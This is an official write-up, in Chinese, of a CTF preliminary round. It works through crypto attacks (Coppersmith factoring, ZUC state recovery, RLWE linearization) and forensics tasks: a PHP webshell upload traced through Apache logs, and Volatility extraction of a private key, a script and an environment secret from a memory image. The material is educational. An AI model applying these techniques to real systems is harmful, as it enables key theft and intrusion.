第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

admin 2025年1月28日15:19:48评论27 views字数 26454阅读88分10秒阅读模式
第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)
2025年1月18第八届西湖论剑网络安全技能大赛初赛落下帷幕!来自全国420所高校、758战队、3960人集结线上初赛!

6小时激战,18次一血争夺!战队比拼互不相让,比赛如火如荼!

为帮助各位选手更好的复盘,组委会特别发布本届大赛初赛的官方Write Up供大家学习和交流!

CRYPTO

CRYPTO

已悟

  • 解题步骤

1. 输入正确的密码即可获得flag, 已知:密码由可见字符组成,长度未知。若输入错误会返回一个列表。

2. 分析返回的列表可知是通过python的`line_profiler` 库生成的,该库一般用于测试代码的性能,而返回的列表正好是对`login`函数进行性能测试的结果

3. 注意到在`check_password` 函数中关于返回的列表有两种返回情况,如果`pro`为True则会返回`(行号,执行次数,所耗时间)` ,否则返回`(行号,所耗时间)`。而由于误差,所以基本不可能单通过所耗时间来判断出`smoke_key`的值

4. 想要升级到pro版本,接下来就需要分析`license.py`了。在`RicKV`类在初始华的时候会接受一个用户输入的种子用来初始化S盒,同时check函数会接受一个license,如果满足在一些列运算之后结果全为`x00`字节则返回True

5. 分析加密部分可以发现有很多很奇怪的地方,比如`subkey`生成全是由**0f**组成的数组,那么在`flip` 函数中,如果输入的字节是在模16下是互补的,抛开`sub`函数不谈,其实就是在一直不停地在取反或者保持不变。

6. 那么接下来的就是控制sub函数的返回值了,这个返回值和S1数组有关,如果输入的种子使得S1种存在$S[i]=j,S[j]=i且 i+j=f$ 那么只需要控制输入内容每个字都为$i$或$j$即可,那么它们在进行异或运算之后只有可能成为$0或f$

    获取种子:

    ```pythonfor key in range(10*100000):# print(key)        S1 = [i for i in range(16)]        x = hashlib.sha256(str(key).encode("utf-8")).digest()        random.seed(x)        random.shuffle(S1)for i in range(16):id = S1[i]            tmp = S1.index(id)if tmp == S1[id]  and S1[id]+id == 15:                print(S1[id],id)                print(key)                print(S1)                exit(0)    ```

7. 在check的时候会每8位为一组和前一轮进行异或并`flip`后再异或,那么这里对两组16字节的license进行爆破即可

8. 获取到license之后,先通过是否执行到判断字节正确的代码来得到`smoke_key`的长度,通过每次输入密码的hits编写脚本爆破即可获取到flag

CRYPTO

预制菜

  • 解题思路

1. 题目给出了由zuc算法加密的一段密文和明文,需要我们推导出密钥和iv

2. 通过搜索可以找到[SNOW3G 与ZUC 流密码的猜测决定攻击](https://jos.org.cn/jos/article/abstract/4287)

3. 可以发现给出的部分参数均和文中的参数符合,同时对文章中的内容进行了一定的扩展和延申

4. 按照文章中的方式还原出lfsr初始状态,而lfsr的初始状态是通过密钥和偏移向量进行计算的,逆向计算即可得到key和iv 

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

详细过程见exp

CRYPTO

matrixRSA

  • 解题步骤

1、分析题目,题目是一个rsa题目,先将flag转化为矩阵,然后进行矩阵的幂运算得到密文C,看加密过程是一个典型的RSA题目。

根据论文https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf 可以知道如何求解m。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

2、我们在求解m的前提是需要知道p和q,题目泄露了p的高位。我们可以使用coppersmith进行攻击,得到p和q。以下是sage代码

```pythonfrom Crypto.Util.number import *p0 = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009e = 65537kbits = 100PR.<x> = PolynomialRing(Zmod(n))f = p0*2^kbits+xf = f.monic()res = f.small_roots(X=2^kbits,beta=0.3)p =  p0*2^kbits + int(res[0])q = n // p assert p*q == n ```

3、得到了p和q之后,根据论文的结论,只要计算gp和gq,生成g就可以得到其明文m。g就理解成为是p和q的欧拉函数。所以最终的sage解密代码如下:

```pythonfrom Crypto.Util.number import *p0 = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009C = Matrix(Zmod(n),[[130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615]   ,[ 23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,   9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,  44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401]   ,[ 67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,  13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,  95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676]])e = 65537kbits = 100PR.<x> = PolynomialRing(Zmod(n))f = p0*2^kbits+xf = f.monic()res = f.small_roots(X=2^kbits,beta=0.3)p =  p0*2^kbits + int(res[0])q = n // p assert p*q == n gp = (p^2-1)*(p^2-p) gq = (q^2-1)*(q^2-q) g  =gp*gqd = inverse_mod(e,g)M= C^dflag = ''for i  in range(3):    for j  in range(3):       flag+=(long_to_bytes(int(M[i,j]))).decode()print(flag)```

CRYPTO

New Year Ring4

  • 题意梳理

1.题目先生成一个20bit的素数p,之后基于如下商环生成加密数据:

$$

PRq = frac{Z_p[x]}{f}

$$

其中`f = PR(list(b"DASCTF_XHLJ2025"))`,记`d = f.degree()=14`,之后生成如下数据:

+ LCG的参数$a,b$

+ 一个长为4的秘密列表seed

+ 一个长为d的秘密列表secret,并将其转化为$PRq$下的多项式,记为$s$

所有数据均为模p下的随机数,并且p并不知道。

2.之后进行`ord("🚩") % sum(list(map(ord, "flag"))) = 351`轮加密,每一轮加密为:

+ 生成一个$PRq$下的随机多项式$A_i$

+ 生成一个长为d的随机列表,其中每个值均来自于seed,并将其转化为$PRq$下的多项式,记为$e_i$

+ 计算$B_i = A_is + e_i$

+ seed中每个元素均进行LCG迭代

3.给出所有的$A_i, B_i$以及LCG的参数$a$,需要解出:

+ LCG的参数$b$

+ 迭代到最后的seed

+ 秘密列表secret

用这些数据计算`[b]+seed+secret`的md5值,从而解AES得到flag。

  • 题目分析

题目主要问题在于:

1.作为基域模数的p并不知道

2.每一次加密对应的$A_i, B_i$似乎都是RLWE的样本,然而:

+ $s$不是短向量,而是模q下的随机向量

+ $e_i$也不是短向量,而是在指定范围内LCG迭代得到的随机向量

所以用格求解是不可能的,需要寻找其他办法。

  • 题目求解

1.首先肯定要恢复p才能进行域运算,而p仅有20bit,所以即使是最朴素的爆破,也仅需要爆破所有20bit的素数即可。

然而,实际上是不需要把所有20bit的素数都看作可能的p,去进行后面的求解步骤的,这是因为我们有A、B列表。由于A、B列表都是模p下的值且有一定的样本数量,所以:

+ A、B中的值一定全部小于p

+ A、B中的最大值应该很接近p

所以可以取最大值作为基准,向后nextprime即可,一般来说nextprime次数就在10次以内,题目对应的数据为4次。

2.有了p之后需要考虑如何求解这个系统,而这个系统的显著特点在于:

+ 每一轮加密中,都是相同的$s$与不同的随机多项式$A_i$做乘法

+ 每一轮加密中,$e_i$都是在确定的4个值中选择的,这4个值具体是多少由初始seed以及轮次唯一决定

而既然格解决不了就要考虑解线性方程,因此要先找到题目每一轮次对应的等式究竟是多少。

3.我们可以将seed看作是四个变量,记为$e_1,e_2,e_3,e_4$;同时我们还有秘密多项式$s$不知道,同样把他的各项系数作为变量,记为$s_1,s_2,...,s_{d}$。

此外还有初始LCG的参数$b$也需要设置一个变量,此时我们总共有5+d个变量,我们需要找到有关于这些变量的等式并想办法求解。

4.商环下的乘法是可以用矩阵表示的,因此我们可以将每一轮加密的多项式计算$B_i = A_is + e_i$转换成对应的矩阵-向量乘法形式:

$$

textbf{b}_i = textbf{s}textbf{A}_i  + textbf{e}_i

$$

展开一下更为直观:

$$

(b_1, b_2, ... ,b_{d})_i = 

(s_1, s_2, ... ,s_{d})

left(begin{matrix}

a_{11} &a_{12}& cdots &a_{1d}\

a_{21} &a_{22}& cdots &a_{2d}\

&& ddots &\

a_{d1} &a_{d2}& cdots &a_{dd}\

end{matrix}

right)_i

(e_1, e_2, ... ,e_{d})_i

$$

简单移下项:

$$

(s_1, s_2, ... ,s_{d})

left(begin{matrix}

a_{11} &a_{12}& cdots &a_{1d}\

a_{21} &a_{22}& cdots &a_{2d}\

&& ddots &\

a_{d1} &a_{d2}& cdots &a_{dd}\

end{matrix}

right)_i

+

(e_1, e_2, ... ,e_{d})_i

-(b_1, b_2, ... ,b_{d})_i

= 0

$$

那么对于每一个位置的分量,我们可以写出一个关于向量$textbf{s}$的线性方程,比如:

$$

({color{red}s_1, s_2, ... ,s_{d}})

left(begin{matrix}

{color{red}a_{11}} &a_{12}& cdots &a_{1d}\

{color{red}a_{21}} &a_{22}& cdots &a_{2d}\

&& ddots &\

{color{red}a_{d1}} &a_{d2}& cdots &a_{dd}\

end{matrix}

right)_i

+

({color{red}e_1}, e_2, ... ,e_{d})_i

-({color{red}b_1}, b_2, ... ,b_{d})_i

= 0

$$

也就是:

$$

b_1 - sum_{i=1}^{d}s_ia_{i1} - e_1 = 0

$$

而我们有d个分量,所以一次交互我们可以得到d个上述方程,他们关于$s$和$e,d$都是线性的。

5.LCG的迭代是好处理的,把seed看做是一个向量$textbf{e}$,那么每一轮次$e_i$选择范围就是:

$$

i=0, quad textbf{e}

$$

$$

i=1, quad atextbf{e}+b

$$

$$

i=2, quad a(atextbf{e}+b) + b = a^2textbf{e} + (a+1)b

$$

$$

cdots

$$

$$

i=k, quad a^ktextbf{e} + sum_{j=0}^{k-1}(a^j)b

$$

所以在$a$已知的情况下,$e,b$变量的迭代都是线性的,不会引入新的高次项变量。

6.如此一来,351次交互可以拿到351*d个方程,而变量只有5+d个,一切似乎都很明朗。

然而我们需要注意一个问题,每一个线性等式里的e并不真正等于我们最开始设置的变量,这是因为:

+ 每一次加密,seed都会做LCG递推,因此本轮的e都是上一轮的e做LCG递推的结果

+ 我们并不知道每个分量究竟是多少,我们只知道e会在4个确定的值中随机选择

这是什么意思呢,比如对于第一轮第一个分量的加密,要对应上之前设置的5+d个变量,那么应该是:

$$

b_1 - sum_{i=1}^{d}s_ia_{i1} - e_1 = 0

$$

$$

or quad b_1 - sum_{i=1}^{d}s_ia_{i1} - e_2 = 0

$$

$$

or quad b_1 - sum_{i=1}^{d}s_ia_{i1} - e_3 = 0

$$

$$

or quad b_1 - sum_{i=1}^{d}s_ia_{i1} - e_4 = 0

$$

此处的$e_1,e_2,e_3,e_4$是设置的变量名,对应的也就是初始seed里的四个值,而不是向量$(e_1, e_2, ... ,e_{d})$的分量,要注意区别。

7.我们只知道,会成立的线性等式会是4个中的一个,但是具体是哪一个似乎无从得知,然而,我们可以舍弃这种线性,而构造出一个恒成立的4次多项式:

$$

(b_1 - sum_{i=1}^{d}s_ia_{i1} - e_1)(b_1 - sum_{i=1}^{d}s_ia_{i1} - e_2)(b_1 - sum_{i=1}^{d}s_ia_{i1} - e_3)(b_1 - sum_{i=1}^{d}s_ia_{i1} - e_4) = 0

$$

由于4个中一定“有且仅有一个成立”,所以总会有一个等于0,因此这个4次方程是恒成立的,此时我们就得到了351*d个由我们设置的5+d个变量组成的4次方程。

但是高次多变量多项式求解是不容易的,而简单的想法是做一个线性化,也就是把所有等式展开后,我们能得到如下项:

```python[s0^4, s0^3*s1, s0^2*s1^2, ... s0, s1, s2, s3, s4, s5, s6, s7, s8, s9, s10, s11, s12, s13, s14, e0, e1, e2, e3, b]```

把这些新的项看作是新的变量,那么我们就得到了关于这些新变量的线性等式,此时解这样的线性方程就可以解出所有项来。

8.然后还有最后一个问题,上面的项总共有8020项,然而我们拥有的等式只有`351*d=4914`个,是不足以让我们解线性方程得到唯一解的。

此时需要注意$e_1,e_2,e_3,e_4$其实内部顺序并不重要,并且只要我们能求解出$s$,那么求解$e$的集合仅需要简单代入即可,而爆破$4!$就可以恢复他的顺序。

因此我们完全可以少设置3个变量,将$e_1,e_2,e_3,e_4$合并为$e$,那么我们构建的线性方程就是:

$$

(b_1 - sum_{i=1}^{d}s_ia_{i1} - e)^4 = 0

$$

此时项数减小到了4844,小于等式数量4914,因此就可以求得唯一解了。

> 取消内部置换,这个举一个简单的例子就很好说明,比如已知$x$是$e_1,e_2$中的其中一个值,并且$x,e_1,e_2$都不知道,那么可以将他们视为三个变量,建一个二次方程为:

> $$

> (x-e_1)(x-e_2) = 0

> $$

> 也就是:

> $$

> x^2 - e_1x - e_2x + e_1e_2 = 0

> $$

> 此时得到的对应线性方程有4项,需要四个方程来解出$x^2, e_1x, e_2x, e_1e_2$

>

> 然而,如果建立:

> $$

> (x-e)^2 = 0

> $$

> 也就是:

> $$

> x^2 - 2ex + e^2 = 0

> $$

> 此时就只有三项,三个方程就可以解出$x^2, ex, e^2$,已经满足了我们求解$x$的需要。而之所以项变少了是因为:

> $$

> e_1 + e_2 rightarrow 2e

> $$

>

> $$

> e_1e_2 rightarrow e^2

> $$

>

> 这就是取消内部置换的含义

9.求出$s$和$b$之后,代入最后一轮加密并迭代一次,就可以求出最终用于加密的$seed$的集合。爆破$4!$的顺序其中有一个就可以成功解出flag了。

DS

DS

DSASignatureData

  • 解题步骤

附件解压出来有 data.pcapng、data-sign.csv、public 文件夹这些。

data-sign.csv列名为 userid,name_signature,idcard_signature,phone_signature。很明显的 data-sign.csv 里的值就是对个人信息数据进行签名后的结果。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

但是根据题目描述所说,数据可能在传输过程中被篡改过,因此需要对 data.pcapng 进行分析,提取个人信息,并对其中的每一条个人信息数据进行签名验证,验证数据是否被篡改。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

在流量中,其中 userid 为 GET 传参,其余 name、idcard、phone 是 POST 传的 json 格式的内容

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

首先获取所有个人数据

```pythonimport pysharkimport jsonimport csvcsv_headers = ['userid', 'name', 'idcard', 'phone']capture = pyshark.FileCapture('data.pcapng', display_filter='http')# 打开 CSV 文件并写入数据with open('data1.csv', mode='w', newline='', encoding='utf-8') as csvfile:    writer = csv.DictWriter(csvfile, fieldnames=csv_headers)    writer.writeheader()    for packet in capture:        if 'HTTP' in packet: # 仅处理HTTP请求包            http_layer = packet.http            # print(http_layer)            # 检查是否为POST请求且包含请求体            if hasattr(http_layer, 'request_method') and http_layer.request_method == 'POST':                # 提取URL中的userid                url = http_layer.request_uri                userid = url.split('userid=')[1].split(' ')[0] if 'userid=' in url else None                # 提取POST数据                if hasattr(http_layer, 'file_data'):                    post_data_hex = http_layer.file_data                    post_data = bytes.fromhex(post_data_hex.replace(":", "")).decode()                    # print(post_data)                    json_data = json.loads(post_data)                    # 提取name, idcard, phone                    name = json_data.get('name', None)                    idcard = json_data.get('idcard', None)                    phone = json_data.get('phone', None)                    # 写入CSV文件                    writer.writerow({                        'userid': userid,                        'name': name,                        'idcard': idcard,                        'phone': phone                    })```

运行脚本,生成 data1.csv 文件,结果如下:

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

由于在流量里数据是乱序传递的,且有重复项,因此对 data1.csv 进行排序并去重:

```pythonimport csvwith open('data1.csv', mode='r', encoding='utf-8') as infile:    reader = csv.DictReader(infile)    data = list(reader)# 使用集合去重unique_data = { (row['userid'], row['name'], row['idcard'], row['phone']) for row in data }# 将集合转换为列表并按userid排序sorted_data = sorted(unique_data, key=lambda x: int(x[0]))# 写入新的 CSV 文件with open('data2.csv', mode='w', newline='', encoding='utf-8') as outfile:    writer = csv.writer(outfile)    writer.writerow(['userid', 'name', 'idcard', 'phone'])    for row in sorted_data:        writer.writerow(row)```

运行脚本,生成 data2.csv,结果如下:

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

正好 2000 条个人数据,和 data-sign.csv 一致。

由于签名用的是每个个人用户自己的私钥进行的签名,而现在有了各自的公钥文件(即 public 文件夹里,文件名格式为 public-XXXX.pem,其中 XXXX 为 userid,左侧补零至四位数)

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

题目描述中已经说明了签名算法采用 DSA,哈希算法采用 SHA256,因此 exp 如下:

```pythonfrom Crypto.PublicKey import DSAfrom Crypto.Signature import DSSfrom Crypto.Hash import SHA256import csvimport base64with open('data-sign.csv', 'r', encoding='utf-8') as f:    reader = csv.reader(f)    header = next(reader)    sign_data = {row[0]: row for row in reader}with open('data2.csv', 'r', encoding='utf-8') as f:    reader = csv.reader(f)    header = next(reader)    all_data = list(reader)# 保存验证结果with open('data-unmodify.csv', 'w', encoding='utf-8', newline='') as f_undo,      open('data-modify.csv', 'w', encoding='utf-8', newline='') as f_do:    writer_undo = csv.writer(f_undo)    writer_do = csv.writer(f_do)    writer_undo.writerow(header)    writer_do.writerow(header)    for row in all_data:        userid, name, idcard, phone = row        # Load DSA public key        public_key_path = f'public/public-{str(userid).zfill(4)}.pem'        with open(public_key_path, 'r') as f:            public_key = DSA.import_key(f.read())        # Get signatures from data-sign.csv        sign_row = sign_data.get(userid)        if not sign_row:            writer_do.writerow(row)            continue        _, name_signature_base64, idcard_signature_base64, phone_signature_base64 = sign_row        # Verify name        name_hash = SHA256.new(name.encode())        name_signature = base64.b64decode(name_signature_base64)        try:            DSS.new(public_key, 'fips-186-3').verify(name_hash, name_signature)            name_verified = True        except (ValueError, TypeError):            name_verified = False        # Verify idcard        idcard_hash = SHA256.new(idcard.encode())        idcard_signature = base64.b64decode(idcard_signature_base64)        try:            DSS.new(public_key, 'fips-186-3').verify(idcard_hash, idcard_signature)            idcard_verified = True        except (ValueError, TypeError):            idcard_verified = False        # Verify phone        phone_hash = SHA256.new(phone.encode())        phone_signature = base64.b64decode(phone_signature_base64)        try:            DSS.new(public_key, 'fips-186-3').verify(phone_hash, phone_signature)            phone_verified = True        except (ValueError, TypeError):            phone_verified = False        if name_verified and idcard_verified and phone_verified:            writer_undo.writerow(row)        else:            writer_do.writerow(row)```

运行脚本生成 data-unmodify.csv、data-modify.csv 文件,其中 data-modify.csv 文件即为被篡改过的文件

依据题目要求,找出被篡改过的个人信息数据并保存到新的 csv 文件中(文件编码 utf-8,文件格式和 data.csv 保持一致),并将该文件上传至该题的校验平台(在该校验平台里可以下载该题的示例文件 example.csv,可作为该题的格式参考),校验达标即可拿到 flag。

也就是上传 data-modify.csv 即可拿到 flag:

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

DS

easydatalog

  • 解题步骤

附件是 access.log 和 error.log 日志,其中在 access.log 中没什么太多内容,就是猜测和上传有关

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

接着看 error.log 文件,可以看到 `dumpio:trace7`,这是 apache 的 `mod_dumpio.so` 模块,这个模块可以用来记录输入和输出的数据。上传的数据会被记录在 `[readbytes-blocking]` 里,首先可以很明显看到上传了 1.php 内容是一句话木马,也就是在 access.log 中后续的都是对该木马的利用

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

接着往下看,对该木马的利用采用的应该是蚁剑webshell管理工具

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

再往后看,就是利用蚁剑的上传功能上传了一些文件,从日志中可以知道,其实就是上传了一个 jpg,一个 zip 文件

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

我们可以先对 error.log 进行正则匹配,将请求的内容全都保存下来,然后对匹配到的 jpg、zip 进行保存:

```pythonimport rewith open('error.log', 'r') as f:    content_all = f.read()# 匹配出具有内容的一部分日志contents = re.findall(r'dumpio_in [readbytes-blocking](.*?)dumpio_outn', content_all, re.S)# print(contents)with open('content_post.txt', 'w') as f:    for c in contents:        # print(c)        # 匹配出上传的内容        r_list = re.findall(r'dumpio_in (data-HEAP): (.*?)n', c, re.S)        # print(r_list)        # 去除匹配到的带有 bytes 的内容        content = ''        for r in r_list:            if not re.findall(r'd* bytes', r):                content += r        # print(content)        f.write(content + 'nnn')# 分析 content_post.txt 文件,利用木马上传了俩文件,一个jpg、一个zipwith open('content_post.txt', 'r') as f:    content_all = f.read()data_jpg = re.findall('(FFD8.*?FFD9)&', content_all, re.S)with open('1.jpg', 'wb') as f:    f.write(bytes.fromhex(data_jpg[0]))data_zip = re.findall('(504B0304.*?)&', content_all, re.S)with open('1.zip', 'wb') as f:    f.write(bytes.fromhex(data_zip[0]))```

运行脚本的生成的 1.jpg、1.zip 文件即为上传的文件。其中 1.zip 里有个 csv 文件,但是解压需要密码,怀疑密码就在 1.jpg 里,或者根据蚁剑的特征,解一下上传图片对应的参数内容,可知图片名称为 password.jpg

```bash# 蚁剑特征,从第二个字符开始解密b1709fecc8bc5e=doL3Zhci93d3cvaHRtbC91cGxvYWQvcGFzc3dvcmQuanBn```

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

对图片进行尝试,用盲水印分析得到密码: dataPersonPass123987

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

用该密码解压压缩包得到 data.csv,其中就有“张三”的身份证号和手机号

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

根据题目描述,提交的 flag 为 30601319731003117X_79159498824。

DS

easyrawencode

  • 解题步骤

附件解压出来是一个内存镜像 easyrawencode.raw

```bash# 获取镜像基本信息,拿到 --profile=Win7SP1x64volatility -f easyrawencode.raw imageinfo# 查看进程volatility -f easyrawencode.raw --profile=Win7SP1x64 pstree```

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

发现有 cmd 命令、记事本,7z 压缩一些可能有用的信息。

首先查看命令相关,cmdscan 命令显示不全,得用 consoles 命令来显示详细的内容

```bashvolatility -f easyrawencode.raw --profile=Win7SP1x64 cmdscanvolatility -f easyrawencode.raw --profile=Win7SP1x64 consoles```

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

使用 consoles 可以看到具体的操作,其中运行了 hack.py 的输出内容

```20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334d919c229aab6535efa09a52c589c8f475b204675b1b173c32c04b0b8a100ee29```

很明显在 C:UsersAdministratorrsa 目录下有一些重要的东西,使用 filescan 命令查看 rsa 目录相关的文件

```bashvolatility -f easyrawencode.raw --profile=Win7SP1x64 filescan | grep -i rsa```

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

使用 dumpfiles 命令将这三个文件拉取下来,并直接进行改名操作

```bashvolatility -f easyrawencode.raw --profile=Win7SP1x64 dumpfiles -Q 0x00000000061f5630 -D .mv file.None.0xfffffa800f08b510.dat private.pemvolatility -f easyrawencode.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003dfdf070 -D .mv file.None.0xfffffa800cee0ad0.dat hack.pyvolatility -f easyrawencode.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003fd5bf20 -D .mv file.None.0xfffffa800da29f10.dat encrypted_data.zip```

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

解压 encrypted_data.zip 得到 encrypted_data.bin 文件。

其中 private.pem 内容为

```-----BEGIN RSA PRIVATE KEY-----MIIEpAIBAAKCAQEAkneyJiNWRK/CYoSUOVpEqARdZF7XYkeIl83CQXumaerjoqshfZezq6oLiaKBj3ljmR2HzwYAEBDVQCc4QE7ZcLfQ11ra8/l8K451ax0hGI4bnPoPiS7ticYCO9U5PygwxF4OK6sscf8rD1XauVzY/i32sytvSeh4uWWWJFS55klI4AmALeBa2+KcOiXIJoSmeU5JRKq+u6JKJheCli6FY/ouEsgpI0vIdNBnpFQLNX7xo/KhJoysBN/pV0baJ7CY/9mZfdLo+O99NWHkfoGouaWMzgy8xPrXyHI8Tw3E8mm1k2q2jzYrfoTBrfAlHNNvD3ucIvJXdpl0vg/FoTgcMQIDAQABAoIBAB7XQOYqcS8f4jq753knIodNefvZQ5mQbfjnDNUcjAdH/DxDtBbdw2mtceX+l7DmEtyKHQ9w2EEJxlmOmJfj8oG7VuiN20ZdvXFvexZ9qPsiazqT5gMRJFfrH4vJQ1di51fl5S55Se/MFt1RCvAWlqN4+rYx+mpR3t/M/f8y7v0IFlbC9fh6C6Qb7NQIvZUiqP0bzolCQQUEjrX77/qTfiozUDttuBJtdyuRnYc1jx43Pw4hsH76Fdgp/BRbq8ejbW88CyQUSKrPgEf7X7JIms1+RiAytaKdq4ovk8H27fd6XIMLLL7Un8cpBWZ/5CrrMgsTMoxub2gYfisyPM/N2kUCgYEAvl2/CGRq7Gx4aNgsXGB9bQznQfK2W6ptMypRm+3GiJYcbO9qYS1XeRd+PA3oN3dv9ynVsmuC2gOYHcx40LTc2uv7l6BVA5XF34iXihMKBjj1FMBdncrDYIfmBjsJAsQPFh7Jf6DxiFUTtFZbGaxvp1cGvUKI/Ooggqn3kzZMtz0CgYEAxPdVT7Qy60Re2m+OmhC89R0LeMb29w2ihwuHiHSOd5vNTQgnIAGJ7VlwQh8Ac7/eqDuvJR6GtGqDtxLzeGt9r/nNqoZHrj4ZW92KLVjZst9HnuxPIuK5sP63k00Xk0DUU8meMwVgObP+cno8HMh8lWjglcYVT6Y/EhgYESLjKAUCgYEAohMEkuuT0Shkt7bcxeVsxAyJU6+GLLMD99ze0Gf3cNCE8QZBRu0onTMwSYb5n0ez7vYSN66rIFyRBUXR0rc5lbX2ZVifKMc6SZ9sjaS6EyQpHPrOeYppH2V0pPdcK5uq0IVzvpLTMORmO1KOi2QxR4KjfT0JjnLzLOvymcZQOG0CgYAT/THYO+Zq/+5MZsPnGMnEamUupaqMmgKjh+UCUSngM5ybM7ecxOs1fj0pSLIoDRHQqvX0Y2uyRZkGbFLvJqGDyWs44hXGNiEmtI4AWiMFxykilMLXPIEx2DfTKCC7XfnuYui+Ls58LKsm/Qa6uRIDq7gXGxowkiOWd4GBw7Of7QKBgQCCQG+iNPF06zn94Iasqz0ELv/iLUoIM2WSTmVIIjlCpP3khJssaCQk4wyx+0G+CoOILbDnl+mtNWRR+a09LCNjyedEl+7zsxZUCmFH4jljBoXAspw31MwmNXeRkCLNVmoZYAEuJ47SGV5ImKx05fJGV3d8M557pzYsKOzhyMhYMg==-----END RSA PRIVATE KEY-----```

hack.py 内容如下

```pythonimport osimport hashlibfrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.PublicKey import RSAhackkey = os.getenv('hackkey')if not hackkey:    raise ValueError("Environment variable 'hackkey' is not set")with open('private.pem', 'r') as f:    private_key = RSA.import_key(f.read())public_key = private_key.publickey().export_key()aes_key = hashlib.sha256(hackkey.encode()).digest()with open('data.csv', 'rb') as f:    data = f.read()cipher_aes = AES.new(aes_key, AES.MODE_EAX)ciphertext, tag = cipher_aes.encrypt_and_digest(data)cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))enc_aes_key = cipher_rsa.encrypt(aes_key)with open('encrypted_data.bin', 'wb') as f:    f.write(ciphertext)print(enc_aes_key.hex())print(cipher_aes.nonce.hex())print(tag.hex())```

有一个 hackkey 是从环境变量里来的:

```bashvolatility -f easyrawencode.raw --profile=Win7SP1x64 envars | grep -i hackkey```

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

可得到 `hackkey=4etz0hHbU3TgKqduFL`

